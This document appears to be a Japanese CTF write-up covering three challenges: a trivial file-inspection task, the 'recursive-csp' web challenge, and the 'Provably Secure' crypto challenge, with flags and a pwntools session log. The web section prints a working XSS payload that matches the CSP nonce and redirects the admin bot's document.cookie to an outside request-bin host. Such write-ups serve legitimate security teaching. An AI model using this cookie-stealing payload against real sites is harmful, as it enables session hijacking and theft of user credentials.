Meow
797
テキストエディタで中身を見るとフラグが書かれている。
ictf{easiest_challenge_of_them_all}
Meow
797
ictf{easiest_challenge_of_them_all}
Webページのソースは次の通り。web/recursive-cspstrellicthe nonce isn't random, so how hard could this be?
(the flag is in the admin bot's cookie)
<?phpnameに<script>タグを入れてXSSを発生させる。Content-Security-Policyのscript-srcのnonce値を合わせておく必要がある。
if (isset($_GET["source"])) highlight_file(__FILE__) && die();
$name = "world";
if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
$name = $_GET["name"];
}
$nonce = hash("crc32b", $name);
header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
<head>
<title>recursive-csp</title>
</head>
<body>
<h1>Hello, <?php echo $name ?>!</h1>
<h3>Enter your name:</h3>
<form method="GET">
<input type="text" placeholder="name" name="name" />
<input type="submit" />
</form>
<!-- /?source -->
</body>
</html>
次のようにURLエンコードしてadmin botに入力するとCookieの情報を読み取ることができる。1234567<script nonce="00000000">document.location="https://enxsx38x468t.x.pipedream.net/?s=" + document.cookie</script>ndvimpy
https://recursive-csp.mc.ax/?name=%3Cscript%20nonce=%2200000000%22%3Edocument.location=%22https://enxsx38x468t.x.pipedream.net/?s=%22%20%2b%20document.cookie%3C/script%3EndvimpyRequestBinに次のログが残る。
GETフラグは、
dice{h0pe_that_d1dnt_take_too_l0ng}
server.pycrypto/Provably SecurejyuI proved this cryptographic combiner to be super secure (specifically IND-CCA2) on my graduate cryptography final exam, but just to be safe, I'm making you break it with both primitives being computationally secure!
nc mc.ax 31493
Downloads
フラグは、b'Experiment 128/128\n'b'pk0 = 26483178418609116136951478639155735955228244719231038357154286456849164060537738601129461329027032592022630276653274631380513565573453208959131970498627891166304660979526866358093970418467452255935885486672919046263969293559022305618635679493450910418358860413789966895286255402093586148398942408961686081886747201577911268454355107333476809801749505548136117482308470616651066354286490397379793697989041763209509786130857855625486035421706980743070961196362581601994281592155108200050766753687511387016112248369819804225762436294955214316499544033467870439578449504064153537328438230865934214907862597149182412802701\n'b'pk1 = 22667744595601474719286417722625980199953337073921238439970513544682185573760647158871048307685415680411492067802867281482343310100191877885779793610507355501999611487469590935934426591359710644022154322375553905976005195668301956253448563908292821833250608789296031973513718421770681387826699074934899042073377864571289646893078940363500912533248781684860073627225276507037962023181884504883692372741763762006049491280194835446782532329513422943632894660291064132748577211239618413055708718354177215501903052248014031902261890798295746583994399760723038360888997246445020179588051003201717048265195427106050941676633\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'1\n'[DEBUG] Received 0x18 bytes:b'm0 (16 byte hexstring): '[DEBUG] Sent 0x21 bytes:b'11111111111111111111111111111111\n'[DEBUG] Received 0x18 bytes:b'm1 (16 byte hexstring): '[DEBUG] Sent 0x21 bytes:b'22222222222222222222222222222222\n'[DEBUG] Received 0x409 bytes:b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'2\n'[DEBUG] Received 0x19 bytes:b'ct (512 byte hexstring): '[DEBUG] Sent 0x401 bytes:b'5a3f744e9f9c02d1b11bf4bf85d9dbf5ec1f8ca76b2468cd3479f55f337a65ad38a74ab8aa698903c48672c4d2681c1da170f4cf2551a35515258f7e1536fa92d7184d90d20096605a939adc17e58c6c0f010d1ee7978f034baa3c54bb6650bc496232cc298349ccefff2b9aca787603bca06b04e8d6c7317cc928097b3cc5a0a376794f67d4926df80e9d8729d14284d64ae34977fd87be5ec37072fe4f2842761fe25275ac903fc44677bd79a49d76d04b96c9152703b569fd4e6e21041eb69c5c8b6b970391c693a46748b63a6179fc53fb24a30ee651a98afdff748f4cbecb86f81d1a53acc93cadb338f06fccbc4515707a7ab721e644205986eb29d8be6f50162452fc1d8891df1b576d5da495c4631f7d1a353f2fcf79460fe2207d96ccae1385d33890705a19bafdf910ef2b723e21a1a225df761416626d1cf3d4b405b456514b050dd69dcb3987cd9cca82de7cce0dc57d32967a2d43ace5f0bab765c03664d61dd32a876de664f2e5b4cf4d8c744cb5b30a538b03aba6d111596af6fcb60252843c07f9b120b57b06ab46cca0b306b6215bb1a90eb062bdb7c1e7192092fcb24089b0d5a114c77b8904e4fffbf5ef2b8dbf95112c2362c14df478cb2f89dfd03d48ffe89cc864f5b5ac056e4886c87dbdc2ee126e1ed69848401fee18cfde7cf326aad014cc53d047979d92d851678d002105ab341f8c0b83e060\n'[DEBUG] Received 0x29 bytes:b'11111111111111111111111111111111\n'b'Action: '[DEBUG] Sent 0x2 bytes:b'0\n'[DEBUG] Received 0xd bytes:b'm_bit guess: '[DEBUG] Sent 0x2 bytes:b'0\n'[DEBUG] Received 0x43 bytes:b'Correct!\n'b'Flag: dice{yeah_I_lost_like_10_points_on_that_proof_lmao}\n'
dice{yeah_I_lost_like_10_points_on_that_proof_lmao}